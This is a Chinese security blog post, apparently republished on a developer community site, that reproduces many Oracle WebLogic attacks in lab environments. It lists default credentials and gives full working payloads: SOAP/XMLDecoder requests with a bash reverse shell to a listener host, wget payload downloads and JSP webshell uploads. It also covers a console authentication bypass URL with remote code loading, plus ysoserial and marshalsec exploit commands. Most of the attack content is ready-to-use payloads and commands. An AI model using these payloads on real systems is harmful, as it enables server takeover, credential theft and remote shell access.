欢迎关注我的公众号《壳中之魂》,观看更多网安文章
版本:全版本
常见账号密码搭配
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123
版本:全版本
假如目标环境有任意文件读取的漏洞,我们可以选择性地读取一些文件,由于weblogic使用AES加密(老版本3DES),所以是可以解密的,只需要找到加密时的用户密文和密钥即可,其均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)所以我们可以读取这两个文件
SerializedSystemIni.dat
此文件是一个二进制文件,我这里用浏览器下载不到,而且据说使用浏览器读取会引入干扰字符,所以要采用Burpsuite来读取,在vulhub的环境中,/hello/file.jsp?path=设置了任意文件读取楼栋号,通过此漏洞来读取SerializedSystemIni.dat
读取了以后右键将其保存为文件
接着读取config.xml,加密后的管理员密码标签为<node-manager-password-encrypted>
{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
接着使用工具将密文解密
xp3s/Decrypt_Weblogic_Password: 搜集了市面上绝大部分weblogic解密方式,整理了7种解密weblogic的方法及响应工具。 (github.com)
但是我解密的时候报错,正常应该会显示这个
版本:10.3.6,12.1.3,12.2.1.2,12.2.1.3
weblogic如果开启了web服务测试页(默认不开启),则分别会在/ws_utc/begin.do以及/ws_utc/config.do这两个页面存在任意上传getshell漏洞
由于该设置默认不开启,所以此漏洞有一定的局限性
搭建好环境后首先先开启web服务测试页(Weblogic Web Service Test Page),但是经过测试,即使不开启也是可以访问/ws_utc/config.do页面的,但是还是先记录一下
开启设置,然后保存
接着打开/ws_utc/config.do
首先设置当前的工作目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
之所以设置这个目录,是因为这个目录为ws_utc应用的静态文件css目录,访问这个目录是无需权限的
接着点击安全,就可以吧文件上传到服务器上了
我这里上传了一个jsp木马,可以使用蚁剑连接
上传完后按F12打开源码,将id的值,也就是时间戳复制出来
然后访问路径:192.168.3.44:7001/ws_utc/css/config/keystore/1645430582722_shell.jsp
其中ip:7001/ws_utc/css/config/keystore/为固定路径,1645430582722为复制得到的时间戳,shell.jsp为上传文件的名字
ws_utc/begin.do我这里复现地也是有问题,不能直接未授权访问,具体原因不太清楚,不过文件上传的流程应该是没什么区别的
然后按F12打开审查元素,点击网络,再点击导入,然后查看响应包
构造链接:192.168.3.44:7001/ws_utc/css/upload/RS_Upload_2022-02-21_08-25-48_631/import_file_name_shell.jsp
版本:10.0.2,10.3.6
访问页面:http://192.168.3.45:7001/uddiexplorer/SearchPublicRegistries.jsp
SSRF(CVE-2014-4210)
版本:10.0.2,10.3.6
访问页面:http://192.168.3.45:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包,点击search
通过修改operator的内容来观察探测结果
当探测的ip端口存在时会返回404状态码
当探测的ip端口不存在时就会显示不能连接
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
版本:<=10.3.6.0,12.1.3.0.0,12.2.1.1.0
访问如下链接的其中一个,如存在一下页面则说明存在wls-wsat组件
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
确认存在组件后使用burpsuite抓包,修改请求方式为POST和Content-Type:text/xml
然后添加poc,其中String修改为合适的目标,用nc反弹shell,于是payload就被修改为nc的命令
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.3.45/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
使用nc设置好监听,然后发包
也可以通过此漏洞写shell
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
版本:10.3.6.0.0、12.1.3.0.0
这个漏洞的复现过程和上面的差不多
接着抓包,改为POST方式提交,然后增加Content-Type:text/xml头
pauload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/hello</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
可以通过访问/_async/AsyncResponseService?info页面来查看如是用命令执行来上传文件的路径
上传文件命令
<string>wget http://x.x.x.x/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
一般登录控制台是访问/console并且登录后访问,登录后点击部署功能后显示的页面为
版本:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
环境开启后访问http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal,可以未授权访问控制台
但是点击部署功能是没有安装按钮的
所以这个时候就要用到第二个漏洞,CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。
此方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类
http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/hack');")
此方法适用于任何版本的weblogic,约束在于我们需要构造一个xml文件,并保存在目标服务器(weblogic)可以访问到的地方
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/hack2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
让目标访问构造的恶意地址即可
http://192.168.3.45:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.3.45/shell.xml")
WLS Core是其中的一个核心组件。攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
版本:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
所有的weblogic会开启T3服务,可以使用nmap来扫描服务是否开启
nmap -n -v -p 7001,7002 172.28.0.2 --script=weblogic-t3-info
接着使用ysoserial工具,创建一个JRMP Server
java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp ./ysoserial-master.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 'touch /tmp/hackyou'
python exploit.py [target ip] [target port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
[target ip] [target port]为weblogic的ip和端口,[path to ysoserial]为ysoserial的路径,[JRMPListener ip] [JRMPListener port]为上一步启动的JRMP的ip和端口,[JRMPClient]为可选选项,为JRMPClient和JRMPClient2
python2 ./exploit.py 172.29.0.2 7001 /root/桌面/Tools/ysoserial-master.jar 192.168.3.45 6666 JRMPClient
测试后JRMPClient可以正常执行命令,而JRMPClient2测试则不是很行
这个漏洞没有复现成功,所以就记录一下过程
版本:10.3.6.0.0,12.1.3.0.0,12.2.1.3.0,12.2.1.4.0
工具:https://pan.baidu.com/s/1N9oW3PtJJpkGC-W-LkgW9A提取码:03vx
首先先把里面的exp.java编译了,编译前先修改文件里面的代码,确定要执行的命令
javac exp.java
接着启动一个http服务
python3 -m http.server 80
然后使用工具里面的marshalsec启动一个恶意的RMI服务
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.45/#exp" 7777
最后使用工具攻击
java -jar ./weblogic_CVE_2020_2551.jar 172.18.0.2 7001 rmi://192.168.3.45:7777/exp
不过我这里报错了,没有执行命令
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过
CVE-2016-0638版本:10.3.6、12.1.2、12.1.3、12.2.1
CVE-2016-3510版本:10.3.6.0、12.1.3.0 、12.2.1.0
CVE-2017-3248版本:12.1.2、12.1.2.0、12.1.3、12.1.3.0、12.2.1、12.2.1.0、12.2.1.1、12.2.1.2、10.3.6、10.3.6.0
关于此漏洞的信息比较少,大多数都是分析的,所以直接跑工具
选择的工具为:https://github.com/5up3rc/weblogic_cmd
直接用idea打开,项目是用java1.6写的,实测1.8也是可以跑,不过要配置一下,而且会报一些错,注释掉一些改掉一些即可
将项目导入到idea后新建运行配置,选择应用程序,选择主要类,然后再程序参数写入执行的命令
使用说明
-H 远程目标主机
-P 远程目标端口
-C 需要执行的命令
-T 可选的绕过方式
-U 删除绑定的rmi实例
-B 通过payload直接调用系统命令-针对没法回显的情况下使用
-os 指定目标操作系统
-https 使用tls的指定
-shell 以shell的方式展现
-upload 上传文件 需要配合-src -dst
-src 需要上传的文件路径
-dst 需要上传文件至目标的路径
-noExecPath 在某些没有/bin/bash 或者cmd.exe情况下使用
执行即可
也可以不使用-B参数,这样一来可以获取回显
工具地址:https://github.com/rabbitmask/WeblogicScan
使用方法
-u IP target ip
-p PORT target port
-f FILE target list
版本:12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 、14.1.1.0.0
此漏洞似乎并非每一个weblogic都会存在
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。